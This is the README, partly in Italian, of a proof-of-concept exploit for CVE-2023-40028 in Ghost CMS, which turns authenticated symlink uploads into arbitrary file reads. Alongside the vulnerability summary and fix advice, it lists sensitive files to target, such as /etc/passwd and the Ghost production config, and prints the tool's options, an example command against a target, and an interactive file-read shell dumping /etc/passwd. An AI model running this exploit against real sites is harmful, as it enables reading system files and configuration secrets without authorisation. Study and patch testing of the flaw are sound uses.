
POC per CVE-2023-40028: Ghost CMS Lettura arbitraria di file
Questa Proof-of-Concept (POC) può essere utilizzata per sfruttare CVE-2023-40028 per ottenere accesso in lettura di file in Ghost CMS.
Ghost è un sistema di gestione dei contenuti (CMS) open source. Le versioni precedenti alla 5.59.1 sono soggette a una vulnerabilità che consente agli utenti autenticati di caricare file che sono collegamenti simbolici. Questo può essere sfruttato per eseguire una lettura arbitraria di qualsiasi file sul sistema operativo host. Gli amministratori del sito possono verificare lo sfruttamento di questo problema cercando collegamenti simbolici sconosciuti nella cartella content/ di Ghost. La versione 5.59.1 contiene una correzione per questo problema. Si consiglia a tutti gli utenti di eseguire l'aggiornamento. Non sono note soluzioni alternative per questa vulnerabilità.
Severità: 6.5 MEDIA Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Alcuni file di testo non binari che potrebbero essere di interesse:
/etc/hosts Risoluzione DNS locale Linux/etc/passwd Account utente Linux/etc/group Gruppi utente Linux/var/lib/ghost/config.local.json Configurazione locale di Ghost CMS/var/lib/ghost/config.production.json Configurazione di produzione di Ghost CMSusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash